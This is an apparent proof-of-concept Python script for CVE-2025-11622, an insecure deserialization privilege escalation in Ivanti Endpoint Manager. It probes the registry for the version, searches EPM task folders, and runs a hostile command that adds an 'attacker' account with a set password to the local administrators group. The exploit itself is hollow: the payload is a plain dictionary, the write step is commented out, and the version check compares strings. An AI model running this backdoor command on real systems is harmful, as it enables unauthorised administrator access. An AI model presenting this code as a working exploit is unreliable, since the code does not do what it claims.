CVE-2025-11622：Ivanti Endpoint Manager不安全反序列化权限提升漏洞

# CVE-2025-11622 - Ivanti Endpoint Manager Insecure Deserialization PoC # Vulnerability: Insecure Deserialization leading to Local Privilege Escalation # Affected: Ivanti Endpoint Manager before 2024 SU4 # Author: Security Researcher import os import sys import struct import subprocess def generate_malicious_payload(command): """ Generate a malicious serialized payload targeting .NET BinaryFormatter or similar unsafe deserialization mechanisms used by Ivanti EPM. """ # This is a conceptual PoC structure for insecure deserialization # The actual payload would need to be crafted based on the specific # deserialization library and gadget chain available in Ivanti EPM payload_template = { "type": "BinaryFormatter", "target_application": "Ivanti EPM Agent Service", "execution_context": "SYSTEM", "command": command, "serialization_format": "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter" } print(f"[*] Generating malicious payload for command: {command}") print(f"[*] Target: {payload_template['target_application']}") print(f"[*] Execution context: {payload_template['execution_context']}") return payload_template def exploit_deserialization(target_path, command): """ Exploit the insecure deserialization vulnerability in Ivanti EPM. Steps: 1. Generate malicious serialized object 2. Place it in a location accessible by the EPM service 3. Trigger deserialization by the vulnerable service """ print("=" * 60) print("CVE-2025-11622 PoC - Ivanti EPM Deserialization LPE") print("=" * 60) # Step 1: Generate payload payload = generate_malicious_payload(command) # Step 2: Write payload to target location # Common locations for Ivanti EPM to read serialized data target_locations = [ r"C:\ProgramData\Ivanti\EPM\Agent\Tasks", r"C:\ProgramData\Landesk\ManagementSuite\Tasks", r"C:\Windows\Temp\ldagent_temp" ] for location in target_locations: if os.path.exists(location): print(f"[+] Found target directory: {location}") # payload_file = os.path.join(location, "malicious_task.bin") # Write malicious serialized data here print(f"[*] Payload would be written to: {location}") # Step 3: Trigger deserialization # This could be done by: # - Waiting for scheduled task execution # - Triggering a specific EPM agent action # - Using the EPM console to push a task print("[*] Waiting for EPM service to deserialize payload...") print("[!] If successful, command will execute as SYSTEM") return True def verify_vulnerability(): """Check if the target system is vulnerable.""" print("[*] Checking Ivanti EPM version...") # Check registry for Ivanti EPM installation try: import winreg key = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Ivanti\Endpoint Manager" ) version, _ = winreg.QueryValueEx(key, "Version") print(f"[*] Detected Ivanti EPM version: {version}") if version < "2024.4": # Before SU4 print("[!] VULNERABLE: Version is before 2024 SU4") return True else: print("[+] PATCHED: Version is 2024 SU4 or later") return False except Exception as e: print(f"[-] Could not determine version: {e}") return None if __name__ == "__main__": if verify_vulnerability(): # Example: Add a local admin user cmd = "net user attacker P@ssw0rd! /add && net localgroup administrators attacker /add" exploit_deserialization(None, cmd) else: print("[+] System appears to be patched.")